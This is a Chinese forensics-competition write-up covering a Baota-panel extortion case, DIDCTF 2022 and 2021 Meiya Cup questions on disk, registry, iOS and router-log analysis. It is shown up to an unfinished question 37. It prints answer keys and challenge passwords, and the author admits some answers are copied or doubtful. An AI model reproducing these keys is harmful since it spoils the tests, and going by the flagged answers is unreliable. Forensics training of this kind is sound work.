4.请分析用于重置宝塔面板密码的函数名为
本题要稍微熟悉一点宝塔以及宝塔的一些文件结构:
这些都在/www/server/panel/tools.py
这个py文件中
答案:set_panel_pwd
5.请分析宝塔面板登陆密码的加密方式所使用的哈希算法为
由上题分析可知加密方式的哈希算法为md5
答案:md5
6.请分析宝塔面板对于其默认用户的密码一共执行了几次上题中的哈希算法
在设置面板密码中出现一次md5,剩下的并不在tools.py
文件中
而是在public
文件中,在文件目录/www/server/panel/class/public.py
经过搜索public.py
文件中又使用了两次md5加密,所以答案为3
7.请分析当前宝塔面板密码加密过程中所使用的salt值为【区分大小写】
该值在这个位置看,default.db
文件:/www/server/panel/data
答案:v87ilhAVumZL
8.请分析该服务器,网站源代码所在的绝对路径为【标准格式/xxx/xxx/xxx】
根据给出的内网面板地址登录宝塔面板,因为给出的密码是错误的所以需要更改密码:
找到网站源代码根目录为/www/wwwroot/www.honglian7001
第二个方法:
使用history
命令查看,发现有/www/wwwroot/www.honglian7001/app
答案:/www/wwwroot/www.honglian7001
9.请分析,网站所使用的数据库位于IP为()的服务器上(请使用该IP解压检材5,并重构网站)【标准格式:111.111.111.111】
在该目录的数据库配置文件下能看到数据库位于哪个ip的服务器上/www/wwwroot/www.honglian7001/app/databae.php
答案:192.168.110.115
10.请分析,数据库的登陆密码为【区分大小写】
由上题分析可以看到password值为wxrM5GtNXk5k5EPX
答案:wxrM5GtNXk5k5EPX
11.请尝试重构该网站,并指出,该网站的后台管理界面的入口为【标准格式:/web】
后台登录的路口都在admin
中,所以答案为/admin
答案:/admin
12.已该涉案网站代码中对登录用户的密码做了加密处理。请找出加密算法中的salt值【区分大小写】
由上题分析/www/wwwroot/www.honglian7001/app/admin/common.php
中的内容可知,password_code
即为密码加入的salt值
答案:lshi4AsSUrUOwWV
13.请分析该网站的管理员用户的密码为
管理员密码在网站日志/www.honglian7001/runtime/log/202104/24.log
中可以找到:
答案:security
14.在对后台账号的密码加密处理过程中,后台一共计算几次哈希值
由11的分析可知password()
函数经过三次哈希值计算
答案:3
15.请统计,后台中,一共有多少条设备记录
开始重构网站,重构文件在检材5中……
检材5密码由9可知解压密码为192.168.110.115-CAB2021
其中内容为数据库服务器的磁盘镜像,三个.dd
文件直接挂载或取证分析都是未分配簇
当三个 .dd
文件直接挂载或取证分析均显示为未分配簇时,说明这些镜像单独存在时无法构成完整的逻辑文件系统。
RAID(Redundant Array of Independent Disks)通过将多块物理磁盘组合成一个逻辑单元,提供数据冗余、性能提升或容量扩展。
RAID重组 通常在以下场景中执行:
- 磁盘故障:RAID中某块磁盘损坏,需要替换并重建数据。
- 配置丢失:RAID控制器故障或配置信息丢失,需手动重建逻辑卷。
- 数据恢复:从离线或损坏的磁盘中提取数据时,需重组RAID结构。
核心操作步骤:
- 确定RAID级别(如RAID 0、1、5、6、10等)。
- 分析磁盘顺序(确定成员盘的排列顺序)。
- 计算参数(如条带大小、校验算法、数据分布规则)。
- 重组逻辑卷(通过软件或硬件恢复原始数据布局)。
这里使用R-STUDIO工具进行RAID重组自动检测:
导入.dd
文件:
点击自动检测:
创建镜像->逐字节检测生成虚拟块.dsk
文件
再进行仿真,重构出服务器服务器
按理说应该这么做,但仿真大师(试用版)不知道抽什么风总是仿真失败,用仿真大师自带的自动计算磁盘阵列的功能也是仿真失败……
直接上别人的答案……
此时访问http://192.168.110.113/admin
即可加载出罪犯接收隐私服务器:
答案:6002
16.请通过后台确认,本案中受害者的手机号码为
这里要注意时区 检材二也就是负载均衡服务器是utc时区,检材二中第九题的日志记录情况 在2021.4.24 6:37(utc时间)左右上传了通讯录 其对应的utc+8时间应为 当日14:37左右手机型号也能对上 由此可以得到受害者手机号码
17.请分析,本案中受害者的通讯录一共有多少条记录
检材4
通过对检材二和三进行分析,警方通过IP落地,警方掌成功抓获犯罪嫌疑人,现将嫌疑人的PC机和手机进行了取证,分别制作了镜像,请使用第13题的答案对检材四进行解密,并回答下列问题
(应当优先分析这个来得到检材3的答案)
1.请计算检材四-PC的原始硬盘的SHA256值
检材4密码由检材2中的2可知为192.168.110.203-CAB2021
使用取证大师进行计算:
2.请分析,检材四-PC的Bitlocker加密分区的解密密钥为
罪犯的D盘经Bitlocker加密,但是在取证大师的取证分析中得出了Bitlocker恢复密钥检索:
3.请分析,检材四-PC的开机密码为
解密D盘后再次进行取证分析:
搜索NT密码哈希值:
答案:12306
4.经分析发现,检材四-PC是嫌疑人用于管理服务器的设备,其主要通过哪个浏览器控制网站后台
答案:chrome
5.请计算PC检材中用户目录下的zip文件的sha256值
6.请分析检材四-phone,该手机的IMEI号为
IMEI(International Mobile Equipment Identity,国际移动设备识别码)是用于唯一标识一部移动设备的15位数字代码。它是全球通用的设备身份标识符,类似于手机的“身份证号码”,在手机的整个生命周期中保持唯一性。
使用美亚柏科手机大师(试用版):
然后就寄了,因为火眼取证得到的IMEI不同:
7.请分析检材四-phone,嫌疑人和本案受害者是通过什么软件开始接触的【标准格式:支付宝 】
手机大师分析不出来……
还得看别人用火眼取证:
8.请分析检材四-phone,受害者下载恶意APK安装包的地址为
翻聊天记录
9.请分析检材四-phone,受害者的微信内部ID号为
手机大师做得到!
罪犯信息:
与受害者的聊天记录:
答案:wxid_op8i06j0aano22
10.请分析检材四-phone,嫌疑人用于敲诈本案受害者的QQ账号为
答案:1649840939
11.请综合分析,嫌疑人用于管理敲诈对象的容器文件的SHA256值为
导出我赚钱的工具.zip
文件并解压(解压密码12306,与加密磁盘密码是同样的),里面是虚拟机镜像文件:
取证大师挂载后计算其hash值:
但是不对……
那就挂载虚拟机,继续分析嫌疑人的赚钱容器。但是要密码,该怎么办?
密码绕过思路一:取证大师分析密码hash值
密码绕过思路二:仿真大师仿真绕过密码
绕过成功后直接空密码登录
在快速访问中找到小白鼠.txt,但是文件太大打不开,推测并不是txt文件
导出该文件进行分析,是VeraCrypt的加密磁盘镜像……可以推测其内容为嫌疑人用于管理敲诈对象的容器文件
因此计算小白鼠.txt
的hash值即可
12.请综合分析嫌疑人检材,另外一受害者“郭先生”的手机号码为
使用VeraCrypt挂载要密码,使用发现的key.rar
作为密钥文件成功挂载:
得出了郭先生的电话号码:
13.通过嫌疑人检材,其中记录了几位受害者的信息
由上一题分析可以看出记录了5位受害者
14.请使用第11题的密码解压“金先生转账.zip”文件,并对压缩包中的文件计算SHA256值
解压并计算:
(要小写)
15.请综合分析,受害者一共被嫌疑人敲诈了多少钱(转账截图被隐藏在多个地方)
支付宝提醒助手里面
伊对 (手机大师分析不出的)金先生聊天记录里面
微信聊天记录里面
虚拟机压缩包里面
数据库里面,找到我的账单 右键保存数据为1.jpg
2022暑假取证学习
有嫌疑人在使用Windows系统,取证人员对该系统进行了硬盘镜像。通过自己的工具软件对档案袋中的镜像文件进行提取、分析、逆向、恢复、破解、查找等,在线完成填空、简答。
比赛材料记录 比赛的计算机镜像资料镜像名为“windows7disk.E01”
参考文章:DIDCTF-2022暑假取证学习 - WTT0011 - 博客园
1.请找出操作系统主机名
使用取证大师进行分析:
2.请给出源磁盘的SHA256哈希值
使用取证大师进行计算:
3.请找出操作系统中安装的Android模拟器名称和安装日期。格式:模拟器名时间,例子:雷电模拟器2022年06月23日
取证大师分析:
答案:夜神模拟器2021年05月03日
4.请找出使用Bitlocker加密的虚拟磁盘文件。格式:1.txt/2.txt
寻找该靶机的虚拟磁盘文件:
可以推测加密磁盘镜像文件TMP00000008578720C0A2D5E4D8
经挂载后成了my.vhd
答案:my.vhd/my1.vhd
5.请找出操作系统安装日期。格式:2022-01-04 12:47:43
由1中取证大师的分析中就有系统安装时间
6.请找出操作系统最后登录的用户
7.请找出操作系统中安装的浏览器最后浏览过的网站域名 [格式: www.baidu.com]
8.请找出操作系统中安装的浏览器名称的对应的安装日期。
本题仅一次答题机会
360浏览器2021-05-03 20:16:43
Edge浏览器2021-05-03 20:26:44
谷歌浏览器2021-05-03 20:16:44
搜狗极速浏览器2021-06-03 20:16:44
主要是靶机上只能找到谷歌浏览器……
9.请找出操作系统版本号
10.请找出操作系统设置的时区名称。
本题仅一次答题机会
UTC+8
UTC+4
UTC+2
UTC+6
跳转到源文件,对SYSTEM
文件进行注册表解析,发现有两套时区信息配置(ControlSet001\Control\TimeZoneInformation
和ControlSet002\Control\TimeZoneInformation
):
第二套时区配置取证大师没有自动取证出来
总之使用的是China Standard Time
中国标准时间
Windows 通过多个 ControlSet
确保系统在更新或配置错误时能够回退到稳定状态。
ControlSet001 和 ControlSet002 的区别
ControlSet | 用途 | 典型场景 |
---|---|---|
ControlSet001 | 系统当前使用的配置(可能对应 CurrentControlSet )。 |
正常启动时使用的配置。 |
ControlSet002 | 上一次成功启动的配置(即 LastKnownGood 配置)。 |
当系统检测到当前配置启动失败后,自动回退到此配置。 |
其他编号 | 系统可能保留更多历史版本(如 ControlSet003 ),但通常仅保留两个副本。 |
多次系统更新或配置变更后可能生成。 |
11.请找出操作系统中安装的浏览器“自动填充”中保存的网站密码信息(网站、用户名、密码)格式:网站+用户名+密码,例子:https://blog.didctf.com/+admin+admin111
查看浏览器记住的用户密码:
没有密码,跳转到源文件(数据库文件)进行分析:
然而密码是加密的,因此使用仿真软件进行仿真模拟后分析:
复制即可得到密码
补充:某取证工具具有自动解码功能
答案:https://www.baidu.com/+test+test@test2021.com
12.请找出用户“poiuy”的SID
在 Windows 系统中,每个用户和组都有一个唯一的 SID(Security Identifier,安全标识符)。SID 是系统内部用于识别安全主体的核心标识符,用于权限管理、资源访问控制等场景。
13.请给出源磁盘的大小(字节)
看别人的WP这个题目问题好像应该是:请给出源磁盘结束扇区位置
取证大师分析的不够准确,我们进行挂载分析:
挂载后发现磁盘大小为:32210153472
,但不是正确答案
因此开始计算:
首先计算起始扇区的位置
物理位置
/每个扇区字节数
=磁盘起始位置
即1048576
/512
=2048
(扇区号从 0 开始计数时为 2048)
扇区数
+磁盘起始位置
=结束扇区
即62910464
+2048
=62912512
补充:使用某取证工具可以直接分析出来
如果扇区编号从 0 开始,那么磁盘的总扇区数实际上是 62912511 + 1 = 62912512
14.请找出各分区文件系统类型
由挂载的磁盘来看文件系统为NTFS
15.请找出曾经连接到该系统的U盘的品牌、序列号、最后插拔日期。格式:SAMSUNG+FAWC524213104FAWV146+2022-07-14
SanDisk+4C530001310423109141+2021-05-04 14:36:21
16.请找出回收站中的文件的名称。格式:2333.exe+1.txt+3.E01。注意顺序
nox_setup_v7.0.0.6_full.exe+新建文本文档1.txt+测试.rtf
17.请找出使用Bitlocker加密的虚拟磁盘文件恢复密钥文件名是什么
18.请找出用户“poiuy”的登录密码。
由11的分析可知答案
2021美亚杯个人赛
2021年10月某日早上,本市一个名为“大路建设”的高速公路工地主管发现办公室的计算机被加密并无法开启,其后收到了勒索通知。考虑到高速公路的基建安全,主管决定报警。警方调查人员到达现场取证,发现办公室内有三部个人计算机,通过一个老款路由器接入互联网。 经调查相关电子证据后,警方怀疑一位本地男子–阿力士与本案有关,并将他拘捕。现在你被委派处理这起案件,请由以下资料分析阿力士在本案中的违法犯罪行为, 并还原事件经过。
资料
编号 | 详情 |
---|---|
1 | 阿力士的背景资料 |
2 | 警方现场勘查的调查报告 |
3 | 高速公路工地办公室路由器的记录 |
4 | 工地主管办公室计算机的电子数据 |
5 | 工地主管移动电话的电子数据 |
6 | 阿力士计算机的电子数据 |
7 | 阿力士FTP 服务器的电子数据 |
8 | 阿力士移动电话(1)的电子数据 |
9 | 阿力士移动电话(2)的电子数据 |
挂载/解压密码: 压缩包解压密码:MeiyaCup2021 VC加密容器密码:
不是HfsCk]!pQC-H\5BAc^gBo/^qq)/i21ufiN@H"Y
而是
HfsCk]<eUqc5Q{(DG$ugiGlt8ezGdaZ>!pQC-H\5BAc^gBo/^qq)/i21ufiN@H"Y
为什么?请看VCR:
网站把<eUqc5Q{(DG$ugiGlt8ezGdaZ>
当成标签解析了
参考文章:2021美亚杯资格赛WP、2021美亚杯(个人赛)练习记录_2021年美亚杯个人赛-CSDN博客、2021第七届美亚杯中国电子数据取证大赛详解write up_美亚杯 奇安信杯-CSDN博客、2021年“美亚杯”全国电子取证比赛复盘
1.(单选题) 工地主管电话的微信账号是什么?
仅一次答题机会
A. Kasier751111
B. Kasierlee751111
C. Kasierlee
D. 以上皆非
我们优先分析工地主管移动电话的电子数据,文件在\Individual\Meiya Cup 2021 (individual)\image\VTM\VTM_iphone6
,这里美亚杯贴心地为我们准备了CellebriteReader
用于分析题目给出的取证报告。
.ufdr
是 Cellebrite UFED(Universal Forensic Extraction Device)工具生成的取证数据报告文件(UFED Forensic Data Report)。Cellebrite 是一个广泛用于移动设备数据提取和分析的取证工具,主要用于执法机构、企业安全和取证调查。
.ucae
也是 Cellebrite 取证工具生成的文件,可能与 UFED Cloud Analyzer 相关。它通常用于存储从云端账户(如 Google、Facebook、iCloud) 提取的数据。
在Tool->setting
中进行语言更改
分析账号,没有微信账号
WhatsApp
并不是Wechat
2.工地主管的隔空投送装置置编号是什么?(请以英文全大写及阿拉伯数字回答)
隔空投送(AirDrop)
隔空投送(AirDrop) 是 Apple(苹果) 设备上的无线文件传输功能,允许用户在 iPhone、iPad 和 Mac 之间 快速、安全地共享文件、照片、视频、联系人等内容。
3.(单选题) 工地主管电话的哪一个应用程序有关于经纬度24.490474, 118.110220的纪录?
仅一次答题机会
A. 照片
B. WhatsApp
C. Apple Maps
D. 以上皆非
4.(多选题) 工地主管的手提电话中下列哪些数据正确?
仅两次答题机会
A. iOS 版本为 12.5.4
B. IMEI为 454120637213361
C. Apple ID 为 kaiserlee3660@gmail.com
D.手机曾经安装 dropbox 应用程序
ABC都能在设备信息中找到答案,D难以确定,在安装的应用程序报告中没有找到就默认不选:
5.(填空题) 工地主管的电话最常使用的浏览器是什么? (请以英文全大写回答)
6.(单选题) 工地主管的电话连接过哪一个WiFi?
仅一次答题机会
A. Kaiser Lee
B. Kaiser
C. Free Wifi
D. Kaiser Home
7.(多选题) 工地主管与Alex Chan的Whatsapp 对话中,曾提及以下哪个TeamViewer的用户号码?
A. 435334881
B. 453851521
C. 435475200
D. 456874155
E. 435270306
TeamViewer 是一款远程桌面控制、远程支持和在线会议软件,广泛用于远程协助、文件传输、设备管理和在线协作。它允许用户通过互联网远程访问和控制另一台计算机或设备。
在聊天中过滤Alex的记录
在聊天图片中得到TeamViewer的用户号码:
找找就有
8.工地主管的WhatsApp中有多少个黑名单的记录? (请以阿拉伯数字回答)
联系人中找不到答案
我们进入Whatsapp生成的相关数据库分析:
得到的相关数据库有:
数据库文件 | 存储内容 |
---|---|
BackedUpKeyValue.sqlite | 可能用于存储 WhatsApp 配置、设置或加密密钥相关的数据。 |
Biz.sqlite | 存储 WhatsApp Business(商业版)的相关信息,如企业账号信息、客户交互等。 |
CallHistory.sqlite | 存储 WhatsApp 的通话记录,包括时间、通话类型(语音/视频)、通话对象等。 |
ChatStorage.sqlite | WhatsApp 的核心数据库,存储聊天记录,包括文本消息、图片、视频、语音消息等。 |
ContactsV2.sqlite | 存储 WhatsApp 联系人信息,包括联系人姓名、手机号、状态信息等。 |
emoji.sqlite | 记录最近使用的表情符号及表情键盘相关设置。 |
Ranking.sqlite | 可能用于存储联系人或聊天的使用频率排名,用于优化聊天界面的排序。 |
Sticker.sqlite | 存储已下载的贴纸(Sticker)数据及使用情况。 |
唯一能找到与黑名单相关的数据表为(ZWABLACKLISTITEM):
9.(多选题) 以下哪个蓝牙装置的 Uuid 曾连接过工地主管的手机?
A. 7F1FE70D-2B15-C245-853D-4196F13CC446
B. 1B057C1D-83D3-99A6-D2B1-EC54846C7CEE
C. 134ACD1-83D3-99A6-D2B1-EC54846C7CEE
D. 7D1BE70D-2C16-D246-851D-491613DD776
分析报告中并没有直接给出蓝牙装置的UUID,因此直接对相关数据库进行分析:
10.工地主管计算机的E盘的Bitlocker修复密钥标识符是甚么? (请以英文全大写及阿拉伯数字回答,不用输入”-“)
开始分析工地主管办公室计算机的电子数据,文件在\Individual\Meiya Cup 2021 (individual)\image\VTM\VTM_computer
(VTM-computer请使用补充检材)
使用取证大师取证搜索关键词:
问的是Bitlocker修复密钥标识符,因此直接尝试Bitlocker解密也能看到:
11.工地主管计算机內的FTP程序FileZilla的用户名称是甚么? (请以英文全大写及阿拉伯数字回答)
12.工地主管的Team Viewer ID 是甚么? (请以英文全大写及阿拉伯数字回答)
取证大师自动分析出的是ALEX的Team Viewer ID
再分析第七题,从聊天中寻找工地主管的Team Viewer ID
13.工地主管的Team Viewer与哪一个ID连接? (请以英文全大写及阿拉伯数字回答)
由上题分析可知
14.(多选题) 工地主管曾用计算机浏览器作搜寻,以下哪一个关键词他曾经搜寻?
A. tiktok
B. web whatsapp
C. facebook
D. lihkg
E. hkgolden
F. web wechat
15.工地主管计算机的Windows系统的产品标识符是甚么? (请以英文全大写及阿拉伯数字回答,不用输入”-“)
产品标识符即产品ID
16.工地主管曾用计算机使用WhatsApp,他曾和以下哪个电话号码沟通?
85246761157
85255378389
1574344711
85267367922
1632900304
无通话记录
WhatsApp网页版电话号码会出现在URL中,看网上的WP这题目应该是ALEX曾和以下哪个电话号码沟通,因为只有ALEX计算机镜像检材中有相关的缓存记录
但工地主管确实没有打过电话,我是小丑
17.(多选题) 工地主管计算机的用户名称是甚么? 其用户标识符是甚么?
A.用户名称: PC1
B.用户名称:PC2
C.用户名称: PC3
D.用户标识符:0x000003E7
E.用户标识符:0x000003E8
F.用户标识符:0x000003E9
用户标识符(UID)由用户标识(SID)最后四位转换为十六进制:
如果是填空题可就不好推测了,最好是从用户登录/注销日志里面去找:
系统仿真也可以:
18.(单选题) 工地主管计算机的预设浏览器是甚么?
A.Chrome
B.Firefox
C.Safari
D.以上皆否
进行虚拟机仿真建立html文件来判断
19.工地主管计算机的其中一个分区被人加密,分区内的电子表格Material3.xlsx的哈希值(SHA1)是甚么? (请以英文全大写及阿拉伯数字回答)
工地主管计算机被勒索了,因此恢复密钥在阿力士(Alex)的 FTP 服务器的电子数据中:
成功解密工地主管的磁盘,计算其中电子表格的哈希值:
20.(多选题) 路由器的记录中显示以下有哪些IP是公司的电子器材?
A.192.168.40.128
B.192.168.40.129
C.192.168.40.130
D.192.168.40.131
E.192.168.40.132
分析检材:高速公路工地办公室路由器的记录,路径\Individual\Meiya Cup 2021 (individual)\image\VTM\Router Log
这是 Cisco ASA(Adaptive Security Appliance)防火墙 生成的日志,主要涉及访问控制列表(ACL)、动态过滤、ICMP/TCP/UDP 连接建立和拒绝等安全事件。
使用数据-分列-分隔符号-空格,将数据分开。对IP地址列进行排序
或者搜索IP分析事件:
A.192.168.40.128
Oct 18 2021 08:41:16: %ASA-6-302015: Built inbound UDP connection 732749 for outside:192.168.40.128
/49804 (192.168.40.128
/49804) to inside:110.166.0.15/123 (110.166.0.15/123)
- 时间:
2021-10-18 08:41:16
- 日志级别:
%ASA-6
(信息级) - 事件代码:
302015
(UDP 连接建立) - 连接 ID:
732749
- 来源 IP:
192.168.40.128
- 来源端口:
49804
- 目标 IP:
110.166.0.15
- 目标端口:
123
(NTP) - 协议:
UDP
- 方向:
outside -> inside
情况 | 解释 |
---|---|
正常 NTP 请求 | 192.168.40.128 可能是一个客户端,尝试向 110.166.0.15 请求时间同步。 |
NTP 服务器响应 | 如果 192.168.40.128 是 NTP 服务器,它可能正在处理 110.166.0.15 发送的 NTP 请求。 |
NTP 放大攻击 | 192.168.40.128 可能是恶意来源,试图利用 NTP 服务器进行 DDoS 放大攻击(反射攻击)。 |
内部设备异常 | 110.166.0.15 可能被配置为 NTP 服务器,但未正确限制访问,导致外部设备可以向其发送请求。 |
B.192.168.40.129
Oct 18 2021 08:41:14: %ASA-6-106015: Deny TCP (no connection) from 192.168.40.129
/49827 to 110.192.0.11/80 flags ACK on interface outside
时间: 2021-10-18 08:41:14
日志等级: %ASA-6
(信息级)
事件代码: 106015
(TCP 连接被拒绝)
来源 IP: 192.168.40.129
来源端口: 49827
目标 IP: 110.192.0.11
目标端口: 80
(HTTP)
TCP 标志位: ACK
接口: outside
(外部网络接口)
可能情况 | 解释 |
---|---|
连接已超时 | 可能 192.168.40.129 之前建立的 HTTP 连接超时,但该设备仍在发送 ACK。防火墙检测不到原始连接,因而拒绝该数据包。 |
NAT/会话表丢失 | 如果 192.168.40.129 经过 NAT,但 NAT 设备未正确维护会话表(例如 NAT 超时或重启),则 ACK 数据包无法匹配现有会话。 |
非正常 TCP 连接 | 可能 192.168.40.129 发送的 ACK 不符合 TCP 正常会话(如网络抖动导致的丢包或不完整会话)。 |
主动扫描 | 可能 192.168.40.129 运行了端口扫描工具(如 Nmap),尝试使用 TCP ACK 扫描 检测 110.192.0.11 的防火墙策略。 |
欺骗攻击 | 如果 192.168.40.129 被入侵,可能被用来发送伪造的 TCP ACK 数据包,尝试绕过防火墙。 |
C.192.168.40.130
Oct 18 2021 08:41:02: %ASA-4-400014: IDS:2004 ICMP echo request from 192.168.40.130
to 110.16.0.14 on interface outside
时间: 2021-10-18 08:41:02
日志等级: %ASA-4
(警告级别)
模块: IDS:2004
(入侵检测系统)
协议: ICMP echo request
(Ping 请求)
来源 IP: 192.168.40.130
目标 IP: 110.16.0.14
接口: outside
(外网接口)
可能情况 | 解释 |
---|---|
正常探测 | 可能是系统管理员进行网络连通性测试(如 ping 110.16.0.14 )。 |
网络扫描 | 可能是 192.168.40.130 在执行存活性扫描 (Ping Sweep),检测哪些 IP 可用。 |
恶意行为 | 如果 110.16.0.14 是一个外部服务器,这可能是试图探测外部资产,或者是恶意软件在试图连接外部服务器。 |
误报 | 某些情况下,IDS 可能会将合法流量误判为可疑流量。 |
D.192.168.40.131
Oct 18 2021 08:50:24: %ASA-6-302015: Built inbound UDP connection 732748 for outside:192.168.40.131
/49804 (192.168.40.131
/49804) to inside:91.195.130.23/53 (91.195.130.23/53)
同A
E.192.168.40.132
不存在……
21.路由器的记录中显示公司的计算机下载了FTP软件,该下载网站的IP是什麼?(请以亚拉伯数字作答,省去"."符号)
访问网页下载使用HTTPS服务端口号443,以/443
为关键词查找,可得IP
找到下载网站的IP
为49.12.121.47
22.(多选题) 路由器的记录中显示公司计算机的资料用FTP软件传到了甚么IP地址及利用端口?
A. IP地址: 2*.2*.2*.114
B. IP地址: 8*.8*.1*.20
C. IP地址: 1*.1*.0*.13
D. 端口: 21
E. 端口: 80
FTP服务使用端口号21,以/21
为关键词查找,可得IP
23.(多选题) 路由器的记录中显示以下哪些关键词是表示公司计算机与外界网络联机?
A. destination
B. ICMP echo request
C. inside
D. outside
E. 以上皆是
搜索关键词,A存在公司计算机与外界网络进行TCP连接,实现联机:
B.ICMP(Internet Control Message Protocol)不会建立两个计算机之间的连接。
C.内部
D.外部
E.多选题想啥呢
协议 | 是否建立连接 | 主要用途 |
---|---|---|
ICMP | ❌ 无连接 | 诊断网络问题、发送错误报告(如 Ping) |
TCP | ✅ 需要三次握手 | 建立可靠的数据传输(如 HTTP、SSH) |
UDP | ❌ 无连接 | 传输实时数据(如视频流、DNS) |
24.(单选题) 路由器的记录中显示哪一个IP曾以teamviewer 连接公司计算机?
A. 110.152.0.14
B. 52.152.117.114
C. 180.152.0.13
D. 83.26.80.131
tearviewer使用5938端口,以/5938
为关键词查找,可得IP
25.(多选题) 路由器的记录中显示以下哪一个有可能是以 teamviewer 遥控公司计算机的时间?
A.09:31,09:37
B.09:33,09:39
C.10:29,10:36
D.10:40
E.10:42
由上题分析可知
26.路由器的记录中显示有多少电子器材有可能曾被入侵?(请以阿拉伯数字作答)
由上上题分析可知
27.(单选题) 阿力士 iPhone12pro电话于2021年10月21日,以下哪张相片可能曾被分享(UTC+8)?
分析检材:阿力士移动电话(1)的电子数据,路径:\Individual\Meiya Cup 2021 (individual)\image\Alex\Alex iPHone 12 pro
寻找图片:
如果聊天分享不发原图的话,EXIF元数据文件就没了,发现PreviewWellImage.tiff
和IMG_0011.HEIC
一样,说明这张图片被分享后又被备份了一份:
并且IMG_0011.HEIC
有Metadata
(元数据),记录了手机相机的信息。
而PreviewWellImage.tiff
没有
随着科技的发展、某些设备的更新迭代,大多数增加了隐私保护功能,比如:用户分享照片/视频时将删除元数据
28.[单选] 阿力士iPhone 12 pro电话中哪一张相片可能曾被修改拍摄时间?
A. IMG_0011.HEIC
B. IMG_0010.HEIC
C. IMG_0009.HEIC
D. IMG_0008.HEIC
由于分享图片创建的新图片元数据被删除,因此拍摄时间被修改
被分享后,图片某些时间会发生改变(一般改的是编辑时间不是创建时间),但是这道题目中,改的是创建时间(有可能是嫌疑人又自己保存了)。
29.[填空题] 阿力士iPhone 12 pro 的GSM媒体访问控制地址是什么? (请以英文全大写及阿拉伯数字回答,不用输入"😊
在 GSM(全球移动通信系统) 中,并不存在与以太网或 Wi-Fi 类似的 MAC 地址(Media Access Control Address)。传统意义上的 MAC 地址 指的是 IEEE 802 标准中的网络设备标识,而 GSM 网络的地址体系有所不同。
GSM 网络采用 不同的标识机制 来唯一标识设备,而不是使用 MAC 地址。常见的 GSM 设备标识包括:
标识名称 | 作用 | 示例 |
---|---|---|
IMSI(International Mobile Subscriber Identity,国际移动用户识别码) | 唯一标识用户的 SIM 卡,存储在 HLR/MSC 中 | 460011234567890 |
IMEI(International Mobile Equipment Identity,国际移动设备识别码) | 唯一标识移动设备(手机/基站),存储在 EIR | 359876041234567 |
TMSI(Temporary Mobile Subscriber Identity,临时移动用户识别码) | 由网络分配的临时用户标识,防止追踪 | 0x4A3F2B1C |
MSISDN(Mobile Station International Subscriber Directory Number,国际移动用户电话号码) | 用户的电话号码 | +8613812345678 |
LAC(Location Area Code,位置区码) | 标识用户当前所在的 GSM 位置区 | 31001 |
CI(Cell Identity,小区标识) | 标识用户所在的基站 | 15024 |
【小白也能看懂】GSM手机呼叫流程,含MSC,BSC,BTS,HLR,VLR,MSRN等
30.[单选题] 阿力士的iphone 12 pro以什么屏幕密码保护?
A. 6位阿拉伯数字密码
B. 4位阿拉伯数字密码
C. 图形密码
D. 以上皆非
手工查找pslist
文件,找到manifest.plist
文件中的WasPasscode
的值为false
,表示没有设置密码锁。
manifest.plist
是 iOS 备份文件(iTunes/iCloud 备份) 的核心元数据文件,位于备份目录的根目录下。- 作用:记录设备备份的全局信息,包括设备硬件信息、备份时间、是否加密等关键元数据。
字段名 | 说明 |
---|---|
LastBackupDate |
最后一次备份时间(UTC 时间戳) |
ProductName |
设备型号(如 "iPhone13,2" 对应 iPhone 12) |
ProductVersion |
iOS 系统版本(如 "15.4.1") |
IsEncrypted |
备份是否加密(true /false ) |
ICCID |
SIM 卡 ICCID 号码(若备份包含 SIM 信息) |
路径Apple_A2341 MGLW3LL_A iPhone 12 Pro.zip/Backup Service/00008101-000254A10A21001E/Snapshot/Manifest.plist
路径组件 | 含义 |
---|---|
Apple_A2341 MGLW3LL_A iPhone 12 Pro.zip |
备份压缩包,包含设备型号(iPhone 12 Pro,型号A2341)和序列号(MGLW3LL_A) |
00008101-000254A10A21001E |
设备的唯一标识符(UDID)或备份ID |
Snapshot |
备份快照目录,存储增量备份的差异数据 |
需要使用plist编辑器进行查看:
31.[多选题] 阿力士iphone 12 pro内以下哪一张相片是实况相片(live Photos)?
A. IMG_0011.HEIC
B. IMG_0010.HEIC
C. IMG_0012.HEIC
D. IMG_0009.HEIC
ABD都有相关的实况视频匹配相片
或:
来到图片的存储路径:
ABD都有匹配的动态小视频
32.[单选题] 以下哪一个是阿力士iphone 12 pro可能曾经连接的装置名称?
A. Chris’s MacBook Pro
B. Chirs’s iPhone
C. Chirs’s Computer
D. Chirs’s Linux
33.[单选题] 接上题,记录连接时间是什么时候(UTC+8)?
A. 2021年10月21日 00:58:01
B. 2021年10月21日 08:58:01
C. 2021年10月21日 00:58:29
D. 2021年10月21日 08:58:29
34.[多选题] 阿力士iPhone XR中在软件WhatsApp中工地主管与阿力士的对话中曾提到:[佢叫我俾钱喎,BTC係唔係呢个啊?]。在进行电子数据取证分析后,以下哪一个是有可能关于此对话的正确描述?
A. 此对话被Kariser Lee删除
B. 此对话的附件为一张图片文件
C. 此对话被Alex Chan 删除
D. 此对话是引用Alex Chan 回复
分析检材:阿力士移动电话(3)的电子数据,路径:\Individual\Meiya Cup 2021 (individual)\image\Alex\Alex iPhone XR
再由之前第七题的分析可知
按理说应该是ABC,但不知道为啥答案是AB(难道说案发后Kariser Lee不想被发现两人之间有比特币交往因此偷偷删掉了两台手机的记录……?)
(待补充)
被引用的消息长这样:
35.[填空题] 阿力士iPhone XR的WhatsApp对话中,阿力士曾要求工地主管支付多少个BTC? (请以阿拉伯数字回答)
由上题分析可知
36.[多选题] 阿力士iPhone XR中 “IMG_0056.HEIC”的图像与"5005.JPG"(MD5: 96c48152249536d14eaa80086c92fcb9)” 看似为同一张相片,在电子数据取证分析下,以下哪样描述是正确?
A. 储存在不同的.db 里
B. 有不同哈希值
C. IMG_0056.HEIC 为原图,5005.JPG(MD5: 96c48152249536d14eaa80086c92fcb9)为缩略图
D. IMG_0056.HEIC 曾被开启过,所以在IOS系统中创建了缩略图5005.JPG(MD5: 96c48152249536d14eaa80086c92fcb9)
A.都存储在/mobile/Media/PhotoData/Photos.sqlite
中
IMG_0056.HEIC
在ZASSET
(存储照片/视频的元数据)数据表中:
5005.jpg
在ZADDITIONALASSETATTRIBUTES
(存储缩略图)数据表中(没有文件名,但Z_PK索引相同):
B. 有不同哈希值
C.IMG_0056.HEIC 为原图,5005.JPG(MD5: 96c48152249536d14eaa80086c92fcb9)为缩略图
D.IMG_0056.HEIC 曾被开启过,所以在IOS系统中创建了缩略图5005.JPG(MD5:96c48152249536d14eaa80086c92fcb9)
IMG_0056.HEIC
的创建时间与访问时间相同,因此没有被打开过
37.[多选题] 阿力士iPhone XR中相片檔IMG_0056.HEIC提供了什么电子数据取证的信息?
A. 此相片是由隔空投送 (Airdrop)得来
